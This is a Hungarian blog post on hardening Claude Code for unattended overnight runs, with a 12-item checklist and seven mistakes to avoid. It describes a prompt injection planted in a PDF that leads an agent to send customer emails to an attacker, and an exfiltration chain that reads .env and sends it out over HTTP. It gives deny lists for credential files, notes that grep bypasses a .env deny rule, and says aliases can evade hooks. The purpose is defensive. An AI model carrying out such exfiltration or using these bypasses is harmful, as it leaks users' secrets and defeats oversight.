Miért kell őket szétválasztani? Ha egy munkamenet mindent elvégez, egy beültetett PDF-ben lévő prompt injection (egy versenytárs ügynökség „számlát” küldött) elég ahhoz, hogy az ügynök egyetlen menetben beolvassa az ügyfél-adatbázisodat, megkeresse az e-mail-címeiket, és elküldje őket egy támadó címére. A lánc minden művelete jogos a saját feladattípusában. Együtt adatszivárgást okoznak.
A legijesztőbb adatszivárogtatási minta nem egy rossz parancs, hanem teljesen hétköznapi parancsok lánca. Az ügynök beolvassa a .env fájlt (engedélyezett), elküldi HTTP-n keresztül (engedélyezett), és ennyi.
— ibrahim_h, HackerNews
A gyakorlatban ez különböző `.claude` könyvtárakkal valósul meg a különböző feladattípusokhoz. Három konfigurációt tartok a gépemen: `~/projects/business-ops/.claude/` (1. típus, adatbázis-hozzáférés, a hálózat tiltva a belső API-k kivételével), `~/projects/inbox-parsing/.claude/` (2. típus, minden hálózati hozzáférés tiltva), `~/projects/social-posting/.claude/` (3. típus, hálózati hozzáférés engedélyezve a Telegram- és Slack-API-khoz). Mindegyik könyvtár külön projekt a Claude Code számára, saját jogosultságokkal és hookbeállításokkal.
## Melyik 12 ellenőrzőpontot nézem át a /loop előtt?
Lényeg
Ezt a 12 pontos ellenőrzőlistát veszem végig, mielőtt éjszakára elindítom a `/loop`-ot, a `/schedule`-t vagy a `claude --bg` parancsot. Az alapvető deny szabályt tartalmazó `~/.claude/settings.json` fájltól a hálózati izolációt biztosító `/sandbox`-ig terjed. Ha akár egyetlen pont sincs lefedve, nem indítom el.
1. `~/.claude/settings.json` felhasználói szintű `deny` szabállyal a következőkre: `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**`, `~/.aws/**`. Ez az alap; nélküle a többi értelmetlen.
2. `disableBypassPermissionsMode: "disable"` a `~/.claude/settings.json` fájlban. Egyszer s mindenkorra blokkolja a YOLO kapcsolót.
3. A `block-secret-reads.sh` példákat kiválasztott titokolvasó parancsokon teszteltük; a valódi titkok és éles hitelesítő adatok a felügyelet nélküli környezet számára hozzáférhetetlenek.
4. A `block-force-push.sh` példa a felismert szó szerinti pushokat zászlósorrendtől és céltól függetlenül blokkolja; a védett ágakat és megkerülést kizáró hitelesítő adatokat a Git-szerver kényszeríti ki.
5. A `block-destructive-sql.sh` hook a `DROP TABLE`, `TRUNCATE` és `WHERE` nélküli `DELETE FROM` műveletekre.
6. A `block-rm-rf.sh` hook a kifejezett hatókör nélkül futtatott `rm -rf` ellen.
7. Az `ask-on-new-deps.sh` hook az `npm install ` parancshoz (az argumentumok nélkül futtatott `npm install`-tól elkülönítve).
8. Az `ask-on-lockfile-change.sh` hook a `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml` és `Cargo.toml` fájlokba történő írásokhoz.
9. Általános `audit.jsonl` napló az összes Bash-, Write- és Edit-hívásról. Enélkül lehetetlen a későbbi incidenselemzés.
10. Minden hosszú háttér-munkamenet worktree-ben, nem a főágon fut: a `claude --bg "task"` automatikusan létrehoz egy worktree-t, de ellenőrizd, hogy a `settings.json` nem tartalmazza a `worktree.bgIsolation: "none"` beállítást.
11. `/sandbox` egy hosszú autonóm feladat indítása előtt. A fájlrendszer hozzáférése a projekt könyvtárára és a `/tmp`-re korlátozott. A hálózat api.anthropic.com, github.com és registry.npmjs.org allowlistet használ.
12. Ellenőrzési lépés a feladaton belül: minden jelentős módosítás után futtasd a tesztfuttatót vagy a lintet. Ha hibáznak, az ügynök nem folytatja, amíg ki nem javítják őket.
Az utolsó pont munkamódszer, nem eszközbeállítás. Adj a Claude-nak módot a munkája ellenőrzésére. Ellenőrzés nélkül az éjszaka dolgozó ügynök körbe-körbe jár: „azt hiszem, jól csináltam, folytatom”, és reggelig gyűjti a hibákat. Ellenőrzéssel addig nem folytatja, amíg az ellenőrzés sikeres nem lesz.
## 7 kerülendő hiba
Lényeg
Hét gyakori hiba az itt bemutatott projektekből: a `--dangerously-skip-permissions` futtatása olyan gépen, amely éles környezethez fér hozzá; kizárólag a `CLAUDE.md` fájlra hagyatkozás; a `permissions.deny` megbízása további hook nélkül; valamint az auto-mode használata tartalék szabályok nélkül. Mindegyik hiba kapcsolódik a forrásokban leírt valódi incidensekhez.
**1. `--dangerously-skip-permissions` használata éles környezethez hozzáférő gépen.** Browningstreet egyetlen „takaríts” paranccsal elveszítette az éles és a fejlesztői adatbázist. Egy hiba ára többórás helyreállítás, valamint olyan adatok elvesztése, amelyek nincsenek benne a biztonsági mentésben. Ha már megtörtént az incidens, nyisd meg a [„Teendők, ha az AI törölt egy adatbázist: helyreállítási ellenőrzőlista”](https://ailoot.ai/blog/hu/ai-deleted-database-recovery/) című útmutatót, és kövesd a 10 lépést sorrendben.
**2. Kizárólag a `CLAUDE.md` fájlra hagyatkozni a biztonság terén.** A \#44868-as issue bebizonyította, hogy a modell előbb cselekszik, aztán kér bocsánatot. Egy szövegfájlban lévő útmutató nem blokkolja az eszközhívást. Megfelelően beállított hook blokkolhat illeszkedő hívásokat, a szélesebb határokat pedig operációsrendszer-, sandbox- és szolgáltatói hozzáférésvezérlés kényszeríti ki. A `CLAUDE.md` fontos a projektkontextushoz — külön írtam róla a [„Hogyan konfiguráljuk helyesen a CLAUDE.md fájlt”](https://ailoot.ai/blog/hu/claude-md-template/) című útmutatóban —, de nem véd meg az autonóm ügynöktől.
**3. Kizárólag a `settings.json` fájlban lévő `permissions.deny` szabályra hagyatkozni hook nélkül.** A \#24846-os issue 2026 februárja óta nyitott. A `.env*` fájlokra vonatkozó deny szabály megkerülhető Bash-ben a `grep` paranccsal. A hook hozzáadhat ellenőrzéseket, de a titkokat a felügyelet nélküli környezetből is ki kell zárni; a regex nem teljes helyettesítője a hozzáférésvezérlésnek.
**4. Az auto-mode és regex hookok éles elkülönítésnek tekintése.** Az idézett tévesnegatív-arány értékelésspecifikus, a hooklefedettség hiányos. Távolítsd el az éles írási hitelesítő adatokat, és igazold a kikényszerített határt ahelyett, hogy minden veszélyes művelet elfogását feltételeznéd.
**5. Új csomag telepítése `npm install` paranccsal, megerősítés nélkül.** Az ellátásilánc-támadások valósak. A 2024–2026-os Tea-tags incidensek megmutatták, hogy léteznek több ezer letöltéssel rendelkező, gépelési hibákra építő utánzott csomagok. Allowlistre van szükséged.
**6. A Bash-hívások naplózásának elmulasztása.** Auditnapló nélkül nem fogod tudni megérteni, mi történt éjszaka. A csevegési átirat hosszú, nincs parancs szerint indexelve, és nem ad időrendet. A `.claude/audit.jsonl` mindkét problémát megoldja.
**7. Worktree mellőzése a háttér-munkamenetekben.** Az egy könyvtárban futó párhuzamos munkamenetek akadályozzák egymás munkáját. A Claude Code a 2.1.143-as verzió óta alapértelmezés szerint engedélyezett `worktree.bgIsolation` beállítással rendelkezik, de ellenőrizd a saját beállításaidat.
És a legfontosabb dolog, amelyet semmilyen hook vagy beállítás nem akadályozhat meg:
Ez a mondat nem a stílusról szól. Az éles környezet védelméért az felel, aki elindította az ügynököt. A Claude Code egy borotvaként működik: borotválkozhatsz vele, de meg is vághatod magad. A konfiguráció egy kérdésre ad választ: elég jól készítetted-e elő a környezetet ahhoz, hogy a borotva ne vágjon meg semmit, amit nem kellene?
### Források
- [Anthropic Claude Code Settings – hivatalos dokumentáció](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code Hooks – hivatalos dokumentáció](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code Security – hivatalos dokumentáció](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: a Claude Code sandboxolása (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: auto mode és a biztonsági osztályozó (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG (2.1.157-es és 2.1.160-as verzió)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)
Az incidens előtti előkészület a **kontextusmérnökség** része: előre korlátozod, mit tehet az ügynök, így szabadon elvégezheti, amit szeretnél.
További források az [Ailoot](https://ailoot.ai/) oldalán érhetők el.
## Kérdések és válaszok: Hogyan állítsuk be a Claude Code-ot, hogy ne tegye tönkre éjszaka a projektünket
### A force-push hook minden shellparancs ellen védi az éles rendszert?
Nem. A javított példa a felismert szó szerinti git push hívásokat blokkolja, különféle zászlósorrenddel, implicit ágakkal, refspec-ekkel és szokásos shell-láncokkal. Aliasok, burkolók és összeállított parancsok kikerülhetik; kényszeríts ki védett ágakat, és távolítsd el a megkerülő hitelesítő adatokat.
### Mi kell egy ügynök éjszakai futtatása előtt?
Éles írási hozzáférés és olvasható titkok nélküli elkülönített környezetet használj, igazold a hálózati és szolgáltatói korlátokat, és teszteld a hook kívánt egyezéseit és kihagyásait. A hookok kiegészítő ellenőrzések, nem e kikényszerített határok helyettesítői.
## Ailoot · A vállalat és projektportfóliója
Az Ailoot felhalmozott működési tapasztalatra, széles ügyfélkörre, stabil szolgáltatásra és folyamatos KPI-ellenőrzésre épít.
A vállalat és projektportfóliója: ügyfelek milliói; havi értékesítés milliárdos nagyságrendben.
Az Ailoot ezt a működési tapasztalatot használja az ügyfelek termékeiben, ágenseiben, alkalmazásaiban és automatizálásaiban elérhető AI-funkciók API-hozzáféréséhez.